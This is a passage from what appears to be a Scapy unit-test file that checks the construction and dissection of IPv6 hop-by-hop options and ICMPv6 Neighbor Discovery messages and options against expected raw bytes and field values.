raw(Pad1(b'\x00')) == b'\x00' ############ ############ + Test PadN Class = PadN - Basic Instantiation raw(PadN()) == b'\x01\x00' = PadN - Optlen Automatic computation raw(PadN(optdata="B"*10)) == b'\x01\nBBBBBBBBBB' = PadN - Basic Dissection a=PadN(b'\x01\x00') a.otype == 1 and a.optlen == 0 and a.optdata == b"" = PadN - Dissection with specific values a=PadN(b'\x01\x0cBBBBBBBBBB') a.otype == 1 and a.optlen == 12 and a.optdata == b'BBBBBBBBBB' = PadN - Instantiation with forced optlen raw(PadN(optdata="B"*10, optlen=9)) == b'\x01\x09BBBBBBBBBB' ############ ############ + Test RouterAlert Class (RFC 2711) = RouterAlert - Basic Instantiation raw(RouterAlert()) == b'\x05\x02\x00\x00' = RouterAlert - Basic Dissection a=RouterAlert(b'\x05\x02\x00\x00') a.otype == 0x05 and a.optlen == 2 and a.value == 00 = RouterAlert - Instantiation with specific values raw(RouterAlert(optlen=3, value=0xffff)) == b'\x05\x03\xff\xff' = RouterAlert - Instantiation with specific values a=RouterAlert(b'\x05\x03\xff\xff') a.otype == 0x05 and a.optlen == 3 and a.value == 0xffff ############ ############ + Test Jumbo Class (RFC 2675) = Jumbo - Basic Instantiation raw(Jumbo()) == b'\xc2\x04\x00\x00\x00\x00' = Jumbo - Basic Dissection a=Jumbo(b'\xc2\x04\x00\x00\x00\x00') a.otype == 0xC2 and a.optlen == 4 and a.jumboplen == 0 = Jumbo - Instantiation with specific values raw(Jumbo(optlen=6, jumboplen=0xffffffff)) == b'\xc2\x06\xff\xff\xff\xff' = Jumbo - Dissection with specific values a=Jumbo(b'\xc2\x06\xff\xff\xff\xff') a.otype == 0xc2 and a.optlen == 6 and a.jumboplen == 0xffffffff ############ ############ + Test HAO Class (RFC 3775) = HAO - Basic Instantiation raw(HAO()) == b'\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = HAO - Basic Dissection a=HAO(b'\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.otype == 0xC9 and a.optlen == 16 and a.hoa == "::" = HAO - Instantiation with specific values raw(HAO(optlen=9, hoa="2001::ffff")) == b'\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff' = HAO - Dissection with specific values a=HAO(b'\xc9\t \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff') a.otype == 0xC9 and a.optlen == 9 and a.hoa == "2001::ffff" = HAO - hashret p = IPv6()/IPv6ExtHdrDestOpt(options=HAO(hoa="2001:db8::1"))/ICMPv6EchoRequest() p.hashret() == b' \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00:\x00\x00\x00\x00' ############ ############ + Test IPv6ExtHdrHopByHop() = IPv6ExtHdrHopByHop - Basic Instantiation raw(IPv6ExtHdrHopByHop()) == b';\x00\x01\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO option raw(IPv6ExtHdrHopByHop(options=[HAO()])) == b';\x02\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert option raw(IPv6ExtHdrHopByHop(options=[RouterAlert()])) == b';\x00\x05\x02\x00\x00\x01\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo option raw(IPv6ExtHdrHopByHop(options=[Jumbo()])) == b';\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Complete dissection with Jumbo option s = b'`\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x00\xc2\x04\x00\x00\x00\x10\x80\x00\x7f\xbb\x00\x00\x00\x00' p = IPv6(s) assert IPv6ExtHdrHopByHop in p and Jumbo in p and ICMPv6EchoRequest in p s = b'`\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01:\x01\x01\x06\x00\x00\x00\x00\x00\x00\xc2\x04\x00\x00\x00\x18\x80\x00\x7f\xbb\x00\x00\x00\x00' p = IPv6(s) assert IPv6ExtHdrHopByHop in p and PadN in p and Jumbo in p and ICMPv6EchoRequest in p = IPv6ExtHdrHopByHop - Instantiation with Pad1 option raw(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with PadN option raw(IPv6ExtHdrHopByHop(options=[Pad1()])) == b';\x00\x00\x01\x03\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with Jumbo, RouterAlert, HAO raw(IPv6ExtHdrHopByHop(options=[Jumbo(), RouterAlert(), HAO()])) == b';\x03\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with HAO, Jumbo, RouterAlert raw(IPv6ExtHdrHopByHop(options=[HAO(), Jumbo(), RouterAlert()])) == b';\x04\x01\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00\x05\x02\x00\x00\x01\x02\x00\x00' = IPv6ExtHdrHopByHop - Instantiation with RouterAlert, HAO, Jumbo raw(IPv6ExtHdrHopByHop(options=[RouterAlert(), HAO(), Jumbo()])) == b';\x03\x05\x02\x00\x00\xc9\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\xc2\x04\x00\x00\x00\x00' = IPv6ExtHdrHopByHop - Hashret (IPv6(src="::1", dst="::1")/IPv6ExtHdrHopByHop()).hashret() == b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;' = IPv6ExtHdrHopByHop - Basic Dissection a=IPv6ExtHdrHopByHop(b';\x00\x01\x04\x00\x00\x00\x00') a.nh == 59 and a.len == 0 and len(a.options) == 1 and isinstance(a.options[0], PadN) and a.options[0].otype == 1 and a.options[0].optlen == 4 and a.options[0].optdata == b'\x00'*4 #= IPv6ExtHdrHopByHop - Automatic length computation #raw(IPv6ExtHdrHopByHop(options=["toto"])) == b'\x00\x00toto' #= IPv6ExtHdrHopByHop - Automatic length computation #raw(IPv6ExtHdrHopByHop(options=["toto"])) == b'\x00\x00tototo' ############ ############ + Test ICMPv6ND_RS() class - ICMPv6 Type 133 Code 0 = ICMPv6ND_RS - Basic instantiation raw(ICMPv6ND_RS()) == b'\x85\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer raw(IPv6(src="2001:db8::1")/ICMPv6ND_RS()) == b'`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00' = ICMPv6ND_RS - Basic dissection a=ICMPv6ND_RS(b'\x85\x00\x00\x00\x00\x00\x00\x00') a.type == 133 and a.code == 0 and a.cksum == 0 and a.res == 0 = ICMPv6ND_RS - Basic instantiation with empty dst in IPv6 underlayer a=IPv6(b'`\x00\x00\x00\x00\x08:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x85\x00M\xfe\x00\x00\x00\x00') assert isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RS) and a.payload.type == 133 and a.payload.code == 0 and a.payload.cksum == 0x4dfe and a.payload.res == 0 assert a.hashret() == b":" ############ ############ + Test ICMPv6ND_RA() class - ICMPv6 Type 134 Code 0 = ICMPv6ND_RA - Basic Instantiation raw(ICMPv6ND_RA()) == b'\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer raw(IPv6(src="2001:db8::1")/ICMPv6ND_RA()) == b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_RA - Basic dissection a=ICMPv6ND_RA(b'\x86\x00\x00\x00\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 134 and a.code == 0 and a.cksum == 0 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 = ICMPv6ND_RA - Basic instantiation with empty dst in IPv6 underlayer a=IPv6(b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') isinstance(a, IPv6) and a.nh == 58 and a.hlim == 255 and isinstance(a.payload, ICMPv6ND_RA) and a.payload.type == 134 and a.code == 0 and a.cksum == 0x45e7 and a.chlim == 0 and a.M == 0 and a.O == 0 and a.H == 0 and a.prf == 1 and a.res == 0 and a.routerlifetime == 1800 and a.reachabletime == 0 and a.retranstimer == 0 = ICMPv6ND_RA - Answers assert ICMPv6ND_RA().answers(ICMPv6ND_RS()) a=IPv6(b'`\x00\x00\x00\x00\x10:\xff \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x86\x00E\xe7\x00\x08\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') b = IPv6(b"`\x00\x00\x00\x00\x10:\xff\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x85\x00M\xff\x00\x00\x00\x00") assert a.answers(b) = ICMPv6ND_RA - Summary Output ICMPv6ND_RA(chlim=42, M=0, O=1, H=0, prf=1, P=0, routerlifetime=300).mysummary() == "ICMPv6 Neighbor Discovery - Router Advertisement Lifetime 300 Hop Limit 42 Preference High Managed 0 Other 1 Home 0" ############ ############ + ICMPv6ND_NS Class Test = ICMPv6ND_NS - Basic Instantiation raw(ICMPv6ND_NS()) == b'\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NS - Instantiation with specific values raw(ICMPv6ND_NS(code=0x11, res=3758096385, tgt="ffff::1111")) == b'\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NS - Basic Dissection a=ICMPv6ND_NS(b'\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NS - Dissection with specific values a=ICMPv6ND_NS(b'\x87\x11\x00\x00\xe0\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') assert a.code==0x11 and a.res==3758096385 and a.tgt=="ffff::1111" assert a.hashret() == b"ffff::1111" = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(raw(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ############ ############ + ICMPv6ND_NA Class Test = ICMPv6ND_NA - Basic Instantiation raw(ICMPv6ND_NA()) == b'\x88\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6ND_NA - Instantiation with specific values raw(ICMPv6ND_NA(code=0x11, R=0, S=1, O=0, res=1, tgt="ffff::1111")) == b'\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6ND_NA - Basic Dissection a=ICMPv6ND_NA(b'\x88\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.code==0 and a.R==0 and a.S==0 and a.O==0 and a.res==0 and a.tgt=="::" = ICMPv6ND_NA - Dissection with specific values a=ICMPv6ND_NA(b'\x88\x11\x00\x00@\x00\x00\x01\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.code==0x11 and a.R==0 and a.S==1 and a.O==0 and a.res==1 and a.tgt=="ffff::1111" assert a.hashret() == b'ffff::1111' = ICMPv6ND_NS - IPv6 layer fields overloading a=IPv6(raw(IPv6()/ICMPv6ND_NS())) a.nh == 58 and a.dst=="ff02::1" and a.hlim==255 ############ ############ + ICMPv6ND_ND/ICMPv6ND_ND matching test = ICMPv6ND_ND/ICMPv6ND_ND matching - test 1 # Sent NS a=IPv6(b'`\x00\x00\x00\x00\x18:\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x87\x00UC\x00\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1') # Received NA b=IPv6(b'n\x00\x00\x00\x00 :\xff\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f\x1f\xff\xfe\xcaFP\x88\x00\xf3F\xe0\x00\x00\x00\xfe\x80\x00\x00\x00\x00\x00\x00\x02\x0f4\xff\xfe\x8a\x8a\xa1\x02\x01\x00\x0f4\x8a\x8a\xa1') b.answers(a) ############ ############ + ICMPv6NDOptUnknown Class Test = ICMPv6NDOptUnknown - Basic Instantiation raw(ICMPv6NDOptUnknown()) == b'\x00\x02' = ICMPv6NDOptUnknown - Instantiation with specific values raw(ICMPv6NDOptUnknown(len=4, data="somestring")) == b'\x00\x04somestring' = ICMPv6NDOptUnknown - Basic Dissection a=ICMPv6NDOptUnknown(b'\x00\x02') a.type == 0 and a.len == 2 = ICMPv6NDOptUnknown - Dissection with specific values a=ICMPv6NDOptUnknown(b'\x00\x04somerawing') a.type == 0 and a.len==4 and a.data == b"so" and isinstance(a.payload, Raw) and a.payload.load == b"merawing" ############ ############ + ICMPv6NDOptSrcLLAddr Class Test = ICMPv6NDOptSrcLLAddr - Basic Instantiation raw(ICMPv6NDOptSrcLLAddr()) == b'\x01\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcLLAddr - Instantiation with specific values raw(ICMPv6NDOptSrcLLAddr(len=2, lladdr="11:11:11:11:11:11")) == b'\x01\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptSrcLLAddr - Basic Dissection a=ICMPv6NDOptSrcLLAddr(b'\x01\x01\x00\x00\x00\x00\x00\x00') a.type == 1 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptSrcLLAddr - Instantiation with specific values a=ICMPv6NDOptSrcLLAddr(b'\x01\x02\x11\x11\x11\x11\x11\x11') a.type == 1 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ############ ############ + ICMPv6NDOptDstLLAddr Class Test = ICMPv6NDOptDstLLAddr - Basic Instantiation raw(ICMPv6NDOptDstLLAddr()) == b'\x02\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptDstLLAddr - Instantiation with specific values raw(ICMPv6NDOptDstLLAddr(len=2, lladdr="11:11:11:11:11:11")) == b'\x02\x02\x11\x11\x11\x11\x11\x11' = ICMPv6NDOptDstLLAddr - Basic Dissection a=ICMPv6NDOptDstLLAddr(b'\x02\x01\x00\x00\x00\x00\x00\x00') a.type == 2 and a.len == 1 and a.lladdr == "00:00:00:00:00:00" = ICMPv6NDOptDstLLAddr - Instantiation with specific values a=ICMPv6NDOptDstLLAddr(b'\x02\x02\x11\x11\x11\x11\x11\x11') a.type == 2 and a.len == 2 and a.lladdr == "11:11:11:11:11:11" ############ ############ + ICMPv6NDOptPrefixInfo Class Test = ICMPv6NDOptPrefixInfo - Basic Instantiation raw(ICMPv6NDOptPrefixInfo()) == b'\x03\x04@\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptPrefixInfo - Instantiation with specific values raw(ICMPv6NDOptPrefixInfo(len=5, prefixlen=64, L=0, A=0, R=1, res1=1, validlifetime=0x11111111, preferredlifetime=0x22222222, res2=0x33333333, prefix="2001:db8::1")) == b'\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptPrefixInfo - Basic Dissection a=ICMPv6NDOptPrefixInfo(b'\x03\x04\x00\xc0\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 3 and a.len == 4 and a.prefixlen == 0 and a.L == 1 and a.A == 1 and a.R == 0 and a.res1 == 0 and a.validlifetime == 0xffffffff and a.preferredlifetime == 0xffffffff and a.res2 == 0 and a.prefix == "::" = ICMPv6NDOptPrefixInfo - Instantiation with specific values a=ICMPv6NDOptPrefixInfo(b'\x03\x05@!\x11\x11\x11\x11""""3333 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') a.type == 3 and a.len == 5 and a.prefixlen == 64 and a.L == 0 and a.A == 0 and a.R == 1 and a.res1 == 1 and a.validlifetime == 0x11111111 and a.preferredlifetime == 0x22222222 and a.res2 == 0x33333333 and a.prefix == "2001:db8::1" ############ ############ + ICMPv6NDOptRedirectedHdr Class Test = ICMPv6NDOptRedirectedHdr - Basic Instantiation ~ ICMPv6NDOptRedirectedHdr raw(ICMPv6NDOptRedirectedHdr()) == b'\x04\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Instantiation with specific values ~ ICMPv6NDOptRedirectedHdr raw(ICMPv6NDOptRedirectedHdr(len=0xff, res="abcdef", pkt="somestringthatisnotanipv6packet")) == b'\x04\xffabcdefsomestringthatisnotanipv' = ICMPv6NDOptRedirectedHdr - Instantiation with simple IPv6 packet (no upper layer) ~ ICMPv6NDOptRedirectedHdr raw(ICMPv6NDOptRedirectedHdr(pkt=IPv6())) == b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptRedirectedHdr - Basic Dissection ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr(b'\x04\x00\x00\x00') assert(a.type == 4) assert(a.len == 0) assert(a.res == b"\x00\x00") assert(a.pkt == b"") = ICMPv6NDOptRedirectedHdr - Disssection with specific values ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr(b'\x04\xff\x11\x11\x00\x00\x00\x00somerawingthatisnotanipv6pac') a.type == 4 and a.len == 255 and a.res == b'\x11\x11\x00\x00\x00\x00' and isinstance(a.pkt, Raw) and a.pkt.load == b"somerawingthatisnotanipv6pac" = ICMPv6NDOptRedirectedHdr - Dissection with cut IPv6 Header ~ ICMPv6NDOptRedirectedHdr a=ICMPv6NDOptRedirectedHdr(b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') a.type == 4 and a.len == 6 and a.res == b"\x00\x00\x00\x00\x00\x00" and isinstance(a.pkt, Raw) and a.pkt.load == b'`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptRedirectedHdr - Complete dissection ~ ICMPv6NDOptRedirectedHdr x=ICMPv6NDOptRedirectedHdr(b'\x04\x06\x00\x00\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') y=x.copy() del(y.len) x == ICMPv6NDOptRedirectedHdr(raw(y)) # Add more tests ############ ############ + ICMPv6NDOptMTU Class Test = ICMPv6NDOptMTU - Basic Instantiation raw(ICMPv6NDOptMTU()) == b'\x05\x01\x00\x00\x00\x00\x05\x00' = ICMPv6NDOptMTU - Instantiation with specific values raw(ICMPv6NDOptMTU(len=2, res=0x1111, mtu=1500)) == b'\x05\x02\x11\x11\x00\x00\x05\xdc' = ICMPv6NDOptMTU - Basic dissection a=ICMPv6NDOptMTU(b'\x05\x01\x00\x00\x00\x00\x05\x00') a.type == 5 and a.len == 1 and a.res == 0 and a.mtu == 1280 = ICMPv6NDOptMTU - Dissection with specific values a=ICMPv6NDOptMTU(b'\x05\x02\x11\x11\x00\x00\x05\xdc') a.type == 5 and a.len == 2 and a.res == 0x1111 and a.mtu == 1500 = ICMPv6NDOptMTU - Summary Output ICMPv6NDOptMTU(b'\x05\x02\x11\x11\x00\x00\x05\xdc').mysummary() == "ICMPv6 Neighbor Discovery Option - MTU 1500" ############ ############ + ICMPv6NDOptShortcutLimit Class Test (RFC2491) = ICMPv6NDOptShortcutLimit - Basic Instantiation raw(ICMPv6NDOptShortcutLimit()) == b'\x06\x01(\x00\x00\x00\x00\x00' = ICMPv6NDOptShortcutLimit - Instantiation with specific values raw(ICMPv6NDOptShortcutLimit(len=2, shortcutlim=0x11, res1=0xee, res2=0xaaaaaaaa)) == b'\x06\x02\x11\xee\xaa\xaa\xaa\xaa' = ICMPv6NDOptShortcutLimit - Basic Dissection a=ICMPv6NDOptShortcutLimit(b'\x06\x01(\x00\x00\x00\x00\x00') a.type == 6 and a.len == 1 and a.shortcutlim == 40 and a.res1 == 0 and a.res2 == 0 = ICMPv6NDOptShortcutLimit - Dissection with specific values a=ICMPv6NDOptShortcutLimit(b'\x06\x02\x11\xee\xaa\xaa\xaa\xaa') a.len==2 and a.shortcutlim==0x11 and a.res1==0xee and a.res2==0xaaaaaaaa ############ ############ + ICMPv6NDOptAdvInterval Class Test = ICMPv6NDOptAdvInterval - Basic Instantiation raw(ICMPv6NDOptAdvInterval()) == b'\x07\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptAdvInterval - Instantiation with specific values raw(ICMPv6NDOptAdvInterval(len=2, res=0x1111, advint=0xffffffff)) == b'\x07\x02\x11\x11\xff\xff\xff\xff' = ICMPv6NDOptAdvInterval - Basic dissection a=ICMPv6NDOptAdvInterval(b'\x07\x01\x00\x00\x00\x00\x00\x00') a.type == 7 and a.len == 1 and a.res == 0 and a.advint == 0 = ICMPv6NDOptAdvInterval - Dissection with specific values a=ICMPv6NDOptAdvInterval(b'\x07\x02\x11\x11\xff\xff\xff\xff') a.type == 7 and a.len == 2 and a.res == 0x1111 and a.advint == 0xffffffff ############ ############ + ICMPv6NDOptHAInfo Class Test = ICMPv6NDOptHAInfo - Basic Instantiation raw(ICMPv6NDOptHAInfo()) == b'\x08\x01\x00\x00\x00\x00\x00\x01' = ICMPv6NDOptHAInfo - Instantiation with specific values raw(ICMPv6NDOptHAInfo(len=2, res=0x1111, pref=0x2222, lifetime=0x3333)) == b'\x08\x02\x11\x11""33' = ICMPv6NDOptHAInfo - Basic dissection a=ICMPv6NDOptHAInfo(b'\x08\x01\x00\x00\x00\x00\x00\x01') a.type == 8 and a.len == 1 and a.res == 0 and a.pref == 0 and a.lifetime == 1 = ICMPv6NDOptHAInfo - Dissection with specific values a=ICMPv6NDOptHAInfo(b'\x08\x02\x11\x11""33') a.type == 8 and a.len == 2 and a.res == 0x1111 and a.pref == 0x2222 and a.lifetime == 0x3333 ############ ############ + ICMPv6NDOptSrcAddrList Class Test = ICMPv6NDOptSrcAddrList - Basic Instantiation raw(ICMPv6NDOptSrcAddrList()) == b'\t\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptSrcAddrList - Instantiation with specific values (auto len) raw(ICMPv6NDOptSrcAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Instantiation with specific values raw(ICMPv6NDOptSrcAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptSrcAddrList - Basic Dissection a=ICMPv6NDOptSrcAddrList(b'\t\x01\x00\x00\x00\x00\x00\x00') a.type == 9 and a.len == 1 and a.res == b'\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptSrcAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptSrcAddrList(b'\t\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 9 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptSrcAddrList - Dissection with specific values conf.debug_dissector = False a=ICMPv6NDOptSrcAddrList(b'\t\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') conf.debug_dissector = True a.type == 9 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 and a.addrlist[0] == "ffff::ffff" and isinstance(a.payload, Raw) and a.payload.load == b'\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' ############ ############ + ICMPv6NDOptTgtAddrList Class Test = ICMPv6NDOptTgtAddrList - Basic Instantiation raw(ICMPv6NDOptTgtAddrList()) == b'\n\x01\x00\x00\x00\x00\x00\x00' = ICMPv6NDOptTgtAddrList - Instantiation with specific values (auto len) raw(ICMPv6NDOptTgtAddrList(res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Instantiation with specific values raw(ICMPv6NDOptTgtAddrList(len=3, res="BBBBBB", addrlist=["ffff::ffff", "1111::1111"])) == b'\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11' = ICMPv6NDOptTgtAddrList - Basic Dissection a=ICMPv6NDOptTgtAddrList(b'\n\x01\x00\x00\x00\x00\x00\x00') a.type == 10 and a.len == 1 and a.res == b'\x00\x00\x00\x00\x00\x00' and not a.addrlist = ICMPv6NDOptTgtAddrList - Dissection with specific values (auto len) a=ICMPv6NDOptTgtAddrList(b'\n\x05BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') a.type == 10 and a.len == 5 and a.res == b'BBBBBB' and len(a.addrlist) == 2 and a.addrlist[0] == "ffff::ffff" and a.addrlist[1] == "1111::1111" = ICMPv6NDOptTgtAddrList - Instantiation with specific values conf.debug_dissector = False a=ICMPv6NDOptTgtAddrList(b'\n\x03BBBBBB\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x11') conf.debug_dissector = True a.type == 10 and a.len == 3 and a.res == b'BBBBBB' and len(a.addrlist) == 1 